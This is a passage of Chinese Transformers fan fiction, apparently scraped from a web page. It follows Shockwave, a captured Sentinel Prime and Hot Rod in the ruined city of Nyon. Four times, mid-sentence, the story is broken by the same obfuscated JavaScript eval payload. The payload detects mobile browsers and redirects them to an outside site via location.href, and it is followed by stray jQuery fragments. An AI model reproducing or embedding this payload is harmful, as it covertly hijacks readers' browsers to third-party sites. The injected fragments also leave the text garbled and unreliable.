“多半如此,虽然承认起来很难,但出现在这颗星球上的事物,”钛师傅又重复了那个词,“——多半如此。” 震荡波顿了一下,然后言辞坚决地否定了这个说法:“不可能。” “所以你还是在逃避。” “我……” 震荡波还想继续说些什么,但就在这时,钛师傅摆了摆手。 “罢了,你跟你的老师不一样,所以我知道你想问什么——当年那台巨大的机器目前被埋在什么地方,领导模块又到底在哪……我无法直接给你答案,但这些问题有一个共同的线索。” 然后钛师傅说出了一个词,或者说一个地点。 “——尼昂。” —— 之后,钛师傅就没有继续说下去的意思,会面结束,震荡波和夜巡只能离开档案馆。 “我刚才查到一些关于塞伯坦骑士团的信息,接下来要进一步去查……说起来,你应该会对这个新闻感兴趣。” 蓝黄涂装的侦探说着,投影出一条新闻,貌似是现在的头条。 “战争英雄、前领袖、前军政首脑御天敌的头颅被霸天虎盗走了,现场还挺惨烈。” “……” 震荡波沉默着捂上了额头。 然而夜巡不依不饶:“老兄,如果你脑子还在转,就应该知道我要说什么。” “……是啊。” 震荡波颇为头疼地叹了口气。 “我知道,八成是他干的。” 霸天虎不会做这种无益于战略的事,他们要是真的潜入元祖大教堂,更可能直接把那里给炸了,哪怕是想毁坏尸体,也不可能只动头部。 至于汽车人这么宣布的理由,很明显是为了时局考虑,无论这事是谁干的,他们都必须毫不犹豫地将锅扣给霸天虎。 另一方面,既然御天敌知道当年的事,那么海格特就会盯上他脑子里的信息,做出这样的事也并不意外。 震荡波摇了摇头:“我只是没想到他会把事情做的这么激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011627|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进。” “没关系,他再怎么激进也不会比霸天虎糟——虽然我很想这么说,但看钛师傅的态度又觉得不太确定。”夜巡说,“所以先回到更基础的问题,你的目的是想得到那台机器,得到一个绝对服从命令的下属,好完成你的某些大计划?” “你把事情说得太高尚了。” “好的,所以是什么低俗的目的吗?” “……” 夜巡拍了拍手上的灰:“我开玩笑的,开玩笑通常能将气氛活跃30%以上。不过显然这就是问题所在,如果海格特真的如你所说,拥有和我们没差别的情感功能,那你的这种态度很可能导致他系统混乱了。” “系统混乱?” 这话让震荡波愣了一下。 “我说的是病理性的情况,这在社会身份异常者身上不算少见,你应该听说过有些患上飞行障碍的飞机,在被人友善对待后反而选择结束自己的生命的事情吧,这跟那种事的本质是一样的,他们天生和正常人不同,所以永远也无法确定自己跟对方是否在同一个世界,最后只会越来越痛苦。” 夜巡思考着,给出了最后的建议。 “我不知道你们之间有过什么恩怨,如果你依旧想和平解决这件事,最好直面一下这个问题。” 说完这些,又整合了一会之前获得的情报,夜巡就变形成载具模式离开了。 震荡波留在原地,片刻后,他再次拿出当年海格特画的那张火种的画——仿佛容纳着一切,幻想般的蓝色,从那颗画中的火种往外蔓延。 毫无疑问,那幅画上的每一笔都正在进行情感表达,所以说到底,他是一台可以理解何为火种的机器。 “不……不对。” 震荡波的手紧了紧,他突然看到了别的东西,当真正直面这幅画的时候,他意识到那些所有关于画作的感想,都只是自身拥有火种的自己,作为观众那一厢情愿的观感而已。 在了解到这一点后,这幅火种之画和其中所蕴含的东西,全都化作了对没有火种的海格特的否定。 —— ———— 御天敌醒来的时候,发现自己身处一个没有窗户的房间,看上去像个实验室,可能在地下。 他变形成许久未用的迷你金刚形态坐起来,然后就注意到海格特正站在自己前面不远处,手里拿着能量块。 “你要补充能量吗?” 深色机体的机器平静地看向他。 剩余能量已经降低到危险水平线以下,补充能量迫在眉睫,于是御天敌伸手去拿,但就在这时,海格特突然像是想到什么,缩回手去将那块能量又掰下来一半。 “抱歉我计算错了,你大概只需要这些。” 他微笑着,把那半块不到的能量块递过去。 于是下一个瞬间,一把匕首就出现在海格特的发声器边上。 连行动时的寒光都没捕捉到,这真的是一个迷你金刚该有的速度吗? 海格特为此困惑了一瞬,然后就听见对方的威胁。 “作为曾经的领袖,听到这句话可是会杀了你的。” “没关系,你本来就不是领袖。” 海格特只是微笑着回应。 于是御天敌的脸扭曲了。 35.第三十五章 很奇怪。 御天敌还想发难,但能量储备已经掉到危险水平以下,机体传来警报声,让他不得不停了手,仔细检查着自己的机体。 按照原来的计划,他此时应该已经陷入昏迷,开始调整自己的火种频率以适应那些元祖们留下的泰坦遗产。 但现在不知为何怎么也无法做到,有什么东西在干扰他的行动。 “你还吃不吃?”海格特催促道。 “……” 御天敌评估了一下状态,最后还是选择伸手接过对方给他的半个能量块,几乎是憎恨般地一口咬下。 然而海格特并不在意,只是转身坐回到工作台边上。 毫无防备,甚至背对着他这边。 换个人可能会因此小心警惕,但御天敌没有,他只是皱眉扫了一眼就收回视线,然后不动神色地观察四周。 除了工作台之外,只有一张充电用电路板,几把椅子,以及旁边放着的一台精密仪器,目前仪器已经封存上锁,看上去像是治疗舱或者低温再生舱之类的东西。 总之,没什么用。 地板和墙面在灯光下泛着惨白的光,什么杂物都没有,让本就不大的房间显得空空荡荡。 但和周围的简洁形成鲜明对比,房间的一角却堆叠着密密麻麻的金属纸片,它们被一张厚重的金属织物蒙着,看不清上面写了什么。 御天敌没有看人脸色的习惯,也没耐心提问,他直接走过去就扯出其中一张。 “……” 上面没有写文字,而是画着一团蓝色的东西,剩下的纸上也是如此,于是他毫无兴趣地扔回去。 “无聊的地方。” 简直像被普罗图斯他们做过皮影戏的脑模块一样乏味,连可以拿来用作武器的东西都没——御天敌这样想着,丝毫没意识到自己在别人的地盘寻找武器有什么不对。 “怎么了?”听见动静的海格特回过头,“有什么想知道的可以直接问我,这里是尤斯镇的地下实验室,以前是我的工作地点,基础工具都很全。” 这态度再次让御天敌恼火地皱起眉。 一会儿把人的脑袋割下来,现在又爆出一副友善的态度,这种诞生自异常的善意,让他感觉有点想吐。 于是他没有回话,直接转身离开了房间。 海格特没有跟上来,这是好事,但御天敌绕了几圈也没发现任何离开的通道,应该是被刻意隐藏起来了。 如果有什么趁手的武器,直接从天花板上开个洞就好,但现在能量都得节省着用,免得机体下线。 御天敌烦闷地想着,打算回去再想想办法。 他的原计划被打乱了,恐怕和这台机器脱不了关系。 然而当他推开工作室的门,却发现那个本来伏案工作的人此刻转过了头,一双浅色的眼睛像是早有感应似地盯着自己看。 “我在想一件事。” 海格特一手放在桌上撑着下巴,另一手上拿着把锯子,声音清晰地回荡在空间中。 “你们头领战士的头部,或许还可以继续分成更小的迷你金刚?” “!”这家伙有病是不是? 几乎是瞬间御天敌就打了过去,他实在受不了这种程度的挑衅,但被轻轻躲开。 “我没有把你当实验对象的意思,”海格特像是看到了什么,说道,“你的火种频率刚刚一瞬间低得吓人,如果继续这么低下去可能会造成火种舱失压,所以我才会提议改造。” 是啊,这家伙能直接看到火种,真是个大麻烦。 “你发现了?”御天敌问。 “发现什么?” 海格特看上去有些茫然,但还没等御天敌松口气,就听见他接着开口: “是指你在主动修改火种频率,偷偷让它适应别的什么东西;还是你一直想杀了我……多半是想砍掉我的头雕,然后占据这个机体这件事?” 果然全都露馅了。 虽是意料之中的情况,但事情不顺心,金红色涂装的前领袖还是忍不住发出一声烦躁的“啧”。 “事先告诉你,就算把头砍下来我也不会死的,”海格特用锯子比了比自己的脖子,“而且你没法缩得像中型机的头那么小吧?比起大型机来说可不只是小了一圈那么简单。” “你对真正伟大的技术一无所知,质量置换只是基础中的基础。” “是吗,真了不起……但我更想知道你们是怎么自主控制的火种频率。” 望着那颗不知何时已经恢复到正常波动范围内的火种,海格特由衷地感到可惜。 “这么好的技术,却只是用来操纵秘密私兵,甚至任由其发展成皮影戏那种东西,不觉得有些浪费吗?你本来可以成为真正伟大的领袖,我是真心这么想的。” 于是御天敌的脸色比刚才更差了些,大概是那些刻意在怀念过去的话语,让他想起自己被威震天‘杀掉’的往事。 “我是不是领袖什么时候需要你来判断?” 火种再次浮现出杀意,但很快,他就注意到海格特工作台上放着的东西。 那是一个圆筒型的装置,像是一个望远镜,上面有繁复的装饰网格。 在空无一物的极简房间内,显得非常突兀。 金红色的迷你金刚眯起光学镜,忽然想起了什么,冷笑一声。 “你想要这项技术?我可以告诉你,但用那个东西来换。” 他指了指桌上的望远镜。 “好啊,给你。” “?” 御天敌还没反应过来,海格特就已经把望远镜抛给他,稳稳落在手上,发出金属碰撞的声音。 “如果你是想用它威胁我,就搞错了,”机器平静地说,“我没什么可以失去的,如果你想看到纠结、不舍……这些都不是我会有的反应。” “……” 看样子不是虚张声势。 御天敌有一瞬间感到了意外,但他很快就意识到什么,嫌恶地将望远镜扔了回去。 “为什么?”海格特接住,“我已经做好你反悔的准备,你可以拿走或者破坏它,这不是我需要的东西。” “闭嘴吧,我没兴趣陪你自欺欺人,”御天敌拍了拍手上的灰,“你想利用我帮你把它毁了,这样你就能找到借口舍弃情感,成为纯粹的机器,也就是说你所期待的是失去自我,但你休想。既然留下它你才能感到长久的痛苦,你就痛苦着吧。” 海格特沉默一会儿,随后一直挂着的温和表情消失了,取而代之的是夹杂着失望、遗憾和冷漠的目光。 “我本来是很想花时间跟你和平共处的。” 伴随着突如其来的冲击声,御天敌忽然感觉失重了,他似乎漂浮在空中,保持了一瞬的静止状态后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020340|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于意识到自己是被抓了起来。 “但现在我有点累了。”海格特疲惫地说着,“用你调整火种频率的能力寻找我的本体,或者我自己从你的脑子里找答案,自己选一个。” “咳……” 而面对威胁,御天敌只是抬起下巴。 明明机体小了好几圈,行动也受制于人,他的态度却依旧傲慢得不可一世,眼神也显得居高临下。 蓝色的光学镜里,倒映出海格特带着厌弃表情的脸。 “知道吗?你现在…这样看着…可比机器,顺眼多了。” —— ———— 随着时间流逝,新的参议院和领袖都已经选举完毕,而霸天虎的动作也愈演愈烈。 某日,东部工业区,战区外侧。 海格特走在小路上,在有信号的时候浏览着新闻。 他的视线在角落里那条“前参议院议员震荡波再次拒绝出席,有传言其与霸天虎结盟”上一扫而过,又停在“尼昂出现神秘炸弹魔”的头条上。 “霸天虎的行动已经快覆盖三分之一个塞伯坦。”海格特侧过头问,“如果是你会怎么做?” “你问我做什么?” “只是参考一下领袖的答案。” 于是在他旁边,蒙着金属织物的御天敌不屑地开口: “还能怎么样,直接对路上的环规行省挨个进行清理,从工业区开始,一直扫荡到锈蚀海的边沿。” “……真残忍。” “这是效率。但新上任的那个竞天择肯定没这个胆识,他会为了维护形象寻找借口、理由,还有高性能武器——从我留下的武器库里。” 作为新领袖,哪怕再怎么想随心所欲,再怎么不耐烦,也得听参议院和民众的要求做着没完没了的场面工夫,换句话说,这似乎也暗示了某种“领袖身份实际上很虚伪”的坦白。 海格特看了御天敌一眼,又收回视线。 这是种新鲜的体验,以往的人际关系都是建立在友善或共同目标上的,只有这次不是。 如果他想和御天敌正常地进行对话,不出意外只会出现以下两种情况:自己不能理解他的话,或者自己理解了却无法接受。 但正因为无法理解或接受,甚至打心底里反感对方的存在,他们反而能不加虚饰地共存。 “别把这件事说得好像和你无关一样。”海格特说,“这里面也有你制造大范围杀伤性武器的错。” “你真以为那些武器都是我造的?”御天敌冷笑一声,“里面连我都觉得过分激进的那些,可都是你那个——” “这不重要,你既收藏了就该为它们负责。” 无视了被打断的御天敌的表情,海格特往前走去。 “走吧,我看到你的火种频率有新的变化,这次是什么方向?” 他一点也不担心御天敌会逃走,哪怕对方逃到太空里,他都有自信能很快找到并把人带回来。 而这个傲慢的前领袖也不想做逃跑这种事,这些日子,他一直以旅行般的闲散态度留在海格特身边,或许离开领袖这个身份也让他感到难得的自在,也可能是在伺机而动。 一来一回,保持了某种微妙的平衡。 “在另外一个环规行省,”御天敌这次居然没多犹豫就回答了他,“尼昂的朝天塔……顺带一提,那里很热闹。” 36.第三十六章 环轨行省,尼昂。 这座城市被汽车人政府忽略了太久,能量短缺导致它几乎看不出以前的模样。 海格特记得那些用来形容尼昂的词汇,比如伟大、光辉、古老,但如今,它已经沦为由破败的贫民窟拼凑起来的荒废之地。有一瞬间,他还以为自己在末路大街。 随处可见光学镜黯淡的市民在街头颓然地东倒西歪,如同路旁的石子一般沉默。 这里几乎连亮着的灯光都没有,进来的两人甚至没必要隐藏身份——除非是有生命危险,否则已经没人有功夫在意别人在干什么了。 海格特走到那些火种最黯淡的人身旁,把随身带着的能量挨个分过去。 “你在做什么?” “在救你的人民,‘领袖’。” 可能是觉得这个称呼理所当然,御天敌面不改色:“战争期间他们把能量让出来本就是应该的。” “嗯,放心,准备给你的部分我没有送出去。” “你是在讽刺我?”头领战士发出一声不屑的哼声,然后抱着手臂环顾四周,“不过以尼昂的战略位置,在我的时期绝不会让它变成这样,现在的新领袖真是短视又愚蠢。” 他这话是真心的。 但海格特清楚,御天敌根本不在乎尼昂的人民,他只是在恼火竞天择任凭这座城市变成反叛份子的温床,让局势更差了而已。 两人继续沿着小巷往城市中心走,尼昂的朝天塔位于城市中心,曾经是黄金时代的大城市,如今却被废弃许久。 “你之前说这里很热闹,是怎么回事?”海格特问。 “军事网络没有屏蔽我的信号,大概以为我死了。”御天敌说着,那双光学镜里露出残忍的笑意,“他们在那里造军械呢,你猜民众的能量都到哪去了?” “……” “说不出话了?” “我刚刚看到新闻,”海格特关掉公共频道,“说是新参议院会派人来尼昂。” “‘新’参议院?” 像是感到难以置信,御天敌特地重复了这个词。 “是的,”海格特说,“这是更改后的正式名称。” “懦夫!” 他似乎险些不由自主地放声大笑起来,但最后只是放高音量地说着。 尽管附近居民大多都疲惫不堪,但突然这么大的声音还是吸引来了不少视线,偷偷看向他们这边。 “你说得太过了。”海格特觉得有失公允,反对道,“竞天择也是为了安全考虑,他不希望前代领袖的坏名声连累自己遭到暗杀,他担负不起,所以才想从名字上和前代分割开。” 话音落下,周围的视线更强烈了,御天敌也用着一副难以言喻的表情看他。 “所以你有理有据地论证了他不配做领袖。” 旁边建筑的上方忽然传来一个声音,那是十分清亮的嗓音,在这死气沉沉的城市里格外突兀。 “不错,现在我们想法一致了。” 有个人影从高处跳了下来,像是一团火落在地上,那是个中体型的塞伯坦人,看上去机体情况还很新,但丝毫不在乎这种坠落造成的损伤,他神色轻松,只是那双湛蓝的光学镜里带着不易察觉的焦虑。 “我叫热破,尼昂的热破。” 海格特看了眼他的火种,那颗燃烧着热情的火种正充斥着期待。 “你知道我。” “当然,我又不是不看新闻,当年知道有非人的机器混进来可是让不少人担惊受怕了一阵。” “那你就不该在这,至少从目标来看,我不是为了平息战争过来的。” “我不管你是想毁灭世界还是什么,看到尼昂的状态了吗?反正不会变得比现在更糟,”热破张开手臂,“你曾经在奥提雷克斯工作,那应该懂一些能量转换的手段吧?有件事需要你帮忙,作为敢于反抗那帮独裁者的机器,你的脑模块已经比大部分塞伯坦人还正常了。” “你的脑模块倒是挺不正常。”御天敌说,“不想着怎么结束霸天虎的反叛和暴乱,倒是想着反对汽车人政府,简直本末倒置。” 热破皱着眉观察了一会,然后指着他问:“这小家伙是谁?” “他是我救下的迷你金刚,喜欢领袖世系但对现在的领袖有些意见,目前和我一起行动,名字叫御(Sen)……” 海格特停住了,他还没想过要给别人介绍御天敌。 “御?” “……小御(Senty)。” 热破微笑:“噢,那好可爱。” “你们两个螺栓口袋脑子里是不是全都是锈斑?谁会叫那种东西?” 热破吃痛:“Ouch,他说话好伤人。” “是啊,我也很头疼。”海格特说完,然后直面御天敌仿佛要杀了自己的表情,“好了不开玩笑了,你叫什么自己说一下。” 然而头领战士拒不配合:“我那伟大领袖赋予我的名字岂可告知他人。” 热破从善如流:“那就小——” 话没说完,他就冷不丁被御天敌一脚踢在小腿上,要不是海格特扶了他一把,否则险些摔进旁边的一堆废弃金属。 “进废品堆还能给你的市民一些贡献。”迷你金刚说。 “你二进制啊!” 海格特拦住真想打起来的热破,转头对御天敌温和地笑笑:“没关系,害怕暴露真名我们就不问了。” 与此同时,他还在内线发了条消息给对方: 【你是想跟他打起来,然后被赶出尼昂吗?你有多余的能量用来战斗吗?[疑问][笑脸][笑脸]】 “……” 也不知道是哪边起了效果,过了一会儿,头领战士还是松了口: “叫我无极(Infinitus)。” 然后他像是生气般坐到旁边的金属椅上,不再说话了。 “嘶……个头不大名字倒是不小。”热破看着自己的腿甲,虽然疼得很,但愣是扯出一个挑衅的笑,“我不会跟迷你金刚打,说出去都——” “无极至少比你年长两三百万年。” “好啊,那他就是以大欺小。” “你刚才说需要我的帮助,”海格特打断了热破即将继续脱口而出的挑衅,“但是很遗憾,我们还有别的事,而且如果没有原材料,我没办法凭空给你变出能量来。” 谈起关乎尼昂的正事,热破哪怕再冲动也放下情绪,他迅速从刚才的状态里抽离出来,然后看向海格特。 “你问原材料?是炸/弹。” “炸/弹?” “没错,有人会卖给我们,我留下了对付竞天择的部分,剩下那些需要你将它转化成可以被塞伯坦人使用的能量。”热破说着,看向身后宏伟的建筑,“作为回报,我会告诉你们进入朝天塔的路。” “你知道的可真多。” “你不是也不意外吗?而且我只知道你要去,他是谁我不认识。” 热破指了指无极,又像是后者格外有威压的瞪视被烫了一下,缩回手。 “我猜的,好吧有人告诉我的……拜托这个无所谓!难道非要等你问起来,我再说‘嘿其实我知道一条进去的路但得用能量来换’,然后你再问‘你背后的人到底是谁’,我再‘这个也得等你弄到能量再说’?那太麻烦了!大家都简单点吧别装了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037459|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要打还是要继续都痛快点,我头疼。” 他迅速而精准地说完了这么一长串,看来性子真的很急。 海格特:“那么需要我改装的炸/弹在哪?” 热破:“最新的一批?还没买,我们没钱了。” 海格特:“……” 御天敌:“……” 好吧,这下我也头疼,你也头疼,尼昂的每个人都很头疼。 虽然很想这么说,但最后海格特只是在心里叹了口气。 “你的意思是,让我想办法手无寸铁地从军火商那里弄到炸/弹,然后才会告诉我们怎么进入朝天塔。” 尼昂的叛军头子点了下头,眼神坚定地表示这中间没有讨价还价的余地。 海格特看了眼御天敌,或者说无极,而后者摆出一副毫无兴趣的表情。 “我没兴趣把能量浪费在这种事上。” 他不参加。 “我知道了,那你们等在这里。” “哦…哈?”热破瞪大光学镜,“等会儿,我还没告诉你对方是谁,这里还有个计划……” “没必要。”海格特说着,看向热破的机体,“你最近经历过机体改造升级,这种改装手法我以前见过,所以刚看到你,我就知道你背后是什么人。” “……” “别紧张,不说出那个名字对我们俩都好。” 说完,他朝着某个方向走去。 然后不到半个塞星时,就拖着一盒东西回来了。 “你要的顶级汽车人相位炸/药。”他将那些东西往热破面前一扔,“我的工作室在哪?转换能量也没法平地起楼。” “这就好了?” 热破看上去有些难以接受,嘴半开着,一副愕然的表情。 “嘿,我还打算在你们交涉中途过去出个风头呢,所以你怎么做到的?诈骗从来都不是什么好说话的人……不,在那之前你是怎么找到他的?现在的尼昂就像个迷宫。” “你真的看新闻了吗?”海格特很怀疑。 “看了啊,”热破移开视线,“看了标题。” “……” “谁会仔细读啊,我反正只会细看那些关于我自己的报道。”他埋怨着,但还是好奇,“你到底怎么跟诈骗说的?” “我没跟他说话。”海格特说,“我让他下线了。” 虽然耗费能量,但是稍微用一次能力还是没事的。 显然热破理解成了字面意思,他以为海格特把诈骗打晕了过去: “可怜的家伙,他会被能量短缺的人撕了的。” 他说得毫无诚意,因为诈骗也偷走了不少尼昂的资源甚至是人,如果不是需要炸/药,热破压根不会允许这家伙进城。 “不会变成那样,汽车人的小队很快就来了,他们会把他带走。” “你怎么什么都知道?” 海格特没有回答:“你翻翻旧新闻就知道了。” 事实上,他看到了几颗熟悉的火种正在高速赶来。竞天择至少有件事是做对了的,他重整了御天敌过去的安保部队,又吸收了一些新人,所以现在,修复完毕的奥利安·派克斯正带领着警车、大黄蜂等人赶来尼昂。 那几个人都变得不太一样了。海格特心想。尤其是警车。 那颗火种矛盾到了极点,一边散发着正常人应有的情感波动,一边又在压抑着任何不符合逻辑的部分。救护车说过大部分塞伯坦人都患有“情感聋哑症”,海格特觉得警车肯定是病情最重的人之一。 一个典型的塞伯坦人。 如果连他那样的人也能改变。海格特心想。那真的就太好了。 37.第三十七章 铁堡,汽车人控制中心。 警车独自坐在办公室里,身影在面前的数据板上投下一片阴影。 上面是一些杂乱的记录内容,需要重新编辑归档。 该从哪开始呢? 最近几天发生的事,仅仅是回想起来就会感到来自火种的疲惫,但报告书还是得写。 警车闭上光学镜,在脑模块中整合了一下事件的内容。 之前派克斯小队在尼昂的逮捕行动还算顺利,他们成功抓获了不知为何失去意识的军火商诈骗及其团伙。唯一的意外就是离开时,尼昂的人民将他们视为敌人,甚至发起了小规模攻击。 小队回来后,竞天择就召开了内部安全会议。 安保部署、会议记录……对警车来说,曾经光是进入首席议会厅就会感到荣耀,现在却已经变成了麻木到有些不耐的工作。 “竞天择领袖发表演讲,指出霸天虎已经在六个环轨行省造成大规模骚乱,汽车人会不惜一切代价恢复这个世界的秩序。” 这段没什么需要改的。 “随后,特派员红蜘蛛进入议会厅旁听。” 警车的视线落在那个名字上,光学镜上自动弹出识别框,后面是一连串的犯罪记录,于是他删了这个不能进入审核系统的名字,只留下“特派员”几个字。 “竞天择取出超高性能武器‘吸星绶带’,用霸天虎俘虏测试其性能后,决定从尼昂民众身上借取能量以剿灭叛军。” “……” 他开始思考该如何将这段内容改成可以入眼的样子,比如隐去吸星绶带的名字,将测试性能的方式删除,只保留剿灭叛军的部分…… “啧。” 头好疼。 不知为何,在盯着“吸星绶带”这个词看的时候,神经元的电信号出现了异常。 警车努力忽略了这一点,继续写着报告。 安全会议上出现了霸天虎间谍,小队在抓捕过程中被引向卡隆区,他们的行动失败了,空手回到铁堡。 奥利安从霸天虎那里知道了竞天择领袖的计划,与他发生冲突……这些显然都不能写。 警车烦躁地放下数据板,忽然想起海格特当时说过的话: 【“你会无限地失望,最后变得绝望。”】 失望……可能吧。 “但这次不一样。” 这样低声反驳之后,脑模块中却传来了对自己的质疑。 ——真的吗? 难道竞天择和御天敌、和逆天劫相比起来,真的有什么不同? 这样的疑问毫无意义,根据逻辑电路给出的解答,维持秩序就是最重要的目标,会有这样的困惑,大概是在失去意识后又连续加班,产生了过度疲劳的后遗症。 一瞬间的动摇不能代表什么,警车上传了编辑好的报告。然后内线传来了新的指令,是奥利安召集他们出发。 就在不久前,竞天择下令逮捕在尼昂伏击他们的武装分子,抓捕所有造反的人。 无论竞天择是想让他们去尼昂送死,好利用奥利安在民间的声望一举进攻尼昂,还是别的什么,都没有关系。 “尼昂的初步战术规划路线已经发过去了,你们先出发,我还有事情要处理。” 在内线向奥利安发了这样一条信息后,警车关上数据板。 竞天择的计划肯定已经传开,眼下挽回汽车人声望的方法已经寥寥无几,出言阻止领袖是没什么用的,但是有件事他还可以完成,比如让霸天虎传播出去的内容变成谣言,比如让尼昂的民众不成为能量来源。 改变报告不能改变历史,警车清楚这一点。 ——但只要像在报告上动手脚那样,让吸星绶带真的消失就好。 他打开臂甲上的储存空间,取出一枚卡片形状的东西,那是御天敌时期违禁武器库的通行证,曾经他就是在那里见到了海格特。 违背秩序和规定的行为,放在平常肯定会感到不妥。 但现在,大概是由于脑模块和机体都疲惫到了极限,连细微的紧张都感觉不到了,只有一种超出逻辑,超出这些细微情感的东西浮现出来。 “秩序不该以牺牲生命为代价,所以这么做才是正确的。” 脑模块中,属于自己的声音这么说了。 —— ———— 尼昂。 将炸弹转换成可用能源的工作进行得很顺利,海格特在将后续工作交接给尼昂当地的科研人员后,再次找到了热破。 这个年轻人正坐在一栋建筑废墟的顶端,神情有些伤感地转动手里一片碎铁,望着尼昂发呆。 “你好,在这里做什么?” “哇!” 被这冷不丁的招呼吓了一跳,热破差点跌了下去,他好不容易稳住身形,转头看到海格特。 “你怎么知道……好吧你当然知道。” 显然他已经看了那些关于海格特的报道,像是抓狂般挥了两下手臂,随手扔掉那块碎铁,又泄了气地坐回原地。 “你在为尼昂的未来担忧?”海格特问。 “都这样了,有什么好担心的。”他说得满不在乎,“大不了换个城市继续呆着。” “……” 话虽如此,热破的火种却没这么洒脱,里面满是焦虑和忧愁的波动。 “你缺乏安全感。”海格特说,“没事的,事情很快就会解决。” “我才没有!啊该死,能随时看到别人火种这也太不讲道理了,”意识到隐瞒没用,热破强烈抗议道,“已经严重冒犯他人隐私,连逆天劫和御天敌都不会做这种没品的事,我建议从法典上禁止!” 海格特面不改色:“汽车人法典只针对塞伯坦人,但如果你感觉被冒犯,我以后就不会特地定位你。不过这次是你让我结束工作就马上过来,好带我们进入朝天塔。” “哈?有这回事吗?我怎么不记得?” 似乎是被撞破刚才的情绪而尴尬,热破耍起赖。 而就在此时,另一个声音出现在他身后,像是压抑着怒火。 “你刚刚说谁没品?” 这些天海格特都没有见到无极,从火种的位置来看,他只是在朝天塔附近绕来绕去,现在大概是注意到海格特的行动,也跟了过来。 热破不明所以地看向迷你金刚,然后恍然地露出一个笑:“哦对,你崇拜领袖世系来着,对不起啊。” 然而无极更愤怒了:“谁让你把逆天劫和御天敌相提并论的,还有,你再用那种跟幼生体说话的语气试试?” 于是热破知道了无极不是所有喜欢领袖。 “怎么会这样,难道你只崇拜御天敌?”他感到非常困惑,看向迷你金刚的眼神也变成了“你脑模块没问题吧?”的意思。 在热破真的把那句话问出来之前,海格特无奈地制止了即将发生的纷争。 “该去朝天塔了。” 听见这话,两人也不再多说。 他们向着那座废弃迷宫般的巨大建筑前进,热破显然不擅长做带路的工作,尤其是带着两个没有载具模式的人,没过多久他就急不可耐,自己先跑得没影。 但海格特记下了他的火种移动路线,所以跟着走也没问题。 在沉默一阵后,他对旁边的无极开了口。 “热破的话没有恶意,而且像那些迷你金刚和兽形金刚,他们遭遇的事情会更严重。” 头领战士不屑地撇过头去:“他本不了解真正的力量。” “既然你也知道不该用外表的形态评判一个人,”海格特问,“那为什么还要赞同逆天劫和功能主义?” “我以为他是领袖,然后完成工作而已,”无极不耐地道,“而且我能操纵比他们都伟大得多的外装甲,这本身就是最高等级的功能。” “哪怕是这样,你也总有离开那些附加物的时候。” “……从刚才开始你就在为那些没用的弱者说话,”无极压低声音,“怎么,你很喜欢与弱者为伍?” “也不算吧,但我最欣赏的人正好是兽形金刚。” 海格特想起机器狗。 “丝毫不为形态而困扰,他坦然接受了一切,不仅认同自己的形态,甚至还尽可能地享受着生命……从这一点上来说,我没有见过比他更强大的塞伯坦人。” 只要知道世界上还有一个这样的冷制造者存在,对海格特来说,就像曾经封闭的大门再次开启了一般。 愿望成真,让他想要感谢世界上的一切。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056003|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而另一边,无极看着他仿佛感到了幸福的表情,忍不住面色古怪地皱起眉。 “你对强大的理解真是莫名其妙。” “或许吧。”得到预想之中的评价,海格特笑了笑,“可能机器和人在意的地方就是会不一样。” 他心情很好。 连无极都看得出这一点。 在迷宫般的朝天塔内部前进了很久,终于在某个时刻,他们来到塔内的大厅。 两旁竖立着巨大的赛博坦骑士团的雕像,在斑驳落灰的地上,隐约能看到用古老语言所写的铭文。 “真正的自由在于万众一心。” 无极漫不经心地念出了上面的字。 “想不到你还会古赛博坦语,”在他做出更多评价前,某根石柱背后传来热破的声音,“好了,还要继续往下走呢,从这边有一条小路。” 他带两人走向大厅的一角,指着某个被压在石板下面,黑洞洞通往地下的入口。 “你不继续带路吗?”海格特问。 “说好的,我只负责带你们进入朝天塔内部。” “那你怎么知道我们的目的地在地下。” “……” “是你背后那个人说的?” “当然不是,正相反,他让我无论如何也别告诉你,不然尼昂就完了。”热破抱着手臂,“但你们已经证明了对尼昂的友善,所以我相信自己的判断。” “如果错了呢?” “那我也接受,愿赌服输。” —— ———— 